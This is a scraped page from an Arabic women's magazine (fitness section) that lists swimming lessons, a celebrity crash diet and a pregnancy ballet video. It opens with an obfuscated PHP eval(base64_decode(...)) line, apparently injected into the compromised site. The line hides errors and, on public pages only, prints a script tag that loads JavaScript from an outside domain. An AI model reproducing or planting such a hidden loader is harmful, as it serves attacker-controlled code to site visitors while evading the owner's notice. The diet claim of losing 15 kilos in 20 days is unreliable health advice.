eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | تمارين فتنس

مجلة نسائية عربية

افضل قاعة لتعليم السباحة للأطفال والسيدات في بلدية المعذر

افضل قاعة لتعليم السباحة للأطفال والسيدات في بلدية المعذر

قاعة تعليم السباحة في بلدية المعذر… تعد السباحة من اكثر الرياضات شهرة حول العالم ولم تقتصر في تداولها علي الرجال فقط، بل ترغب النساء والاطفال في تعلمها ايضاً، لما له من تأثير علي الكتلة العضلية والبنية الجسدية القوية لجسم الاطفال والسيدات، وننشر لكم عبر مجلتنا...
رجيم ريهام سعيد مكتوب كاملاً لخسارة 15 كيلو في 20 يوم فقط دايت سريع المفعول

رجيم ريهام سعيد مكتوب كاملاً لخسارة 15 كيلو في 20 يوم فقط دايت سريع المفعول

رجيم ريهام سعيد مكتوب.. كشفت الإعلامية ريهام سعيد عبر مقطع فيديو نشرته عبر صفحتها الرسمية علي موقع التواصل الإجتماعي “فيس بوك” عن زيادة وزنها بعد اعتزالها العمل الإعلامي، ومكوثها في المنزل دون حركة مثل سابق، وعلى إثره أعلنت عن الرجيم السريع الذي ستطبقه...
شاهد بالفيديو سيدة في آخر شهور الحمل ترقص باليه برشاقة

شاهد بالفيديو سيدة في آخر شهور الحمل ترقص باليه برشاقة

شاهد بالفيديو سيدة في آخر شهور الحمل ترقص باليه برشاقة، يظن الكثير من السيدات الحوامل في مجتمعنا العربي أنه لايمكنهم ممارسة التمارين الرياضية لكن هذا الفيديو يثبت عكس ذلك,لكن لايمكن للمرأة الحامل أن تقوم بمثل هذه التمارين إلا بعد استشارة الطبيب المعالج. طرق فعالة و...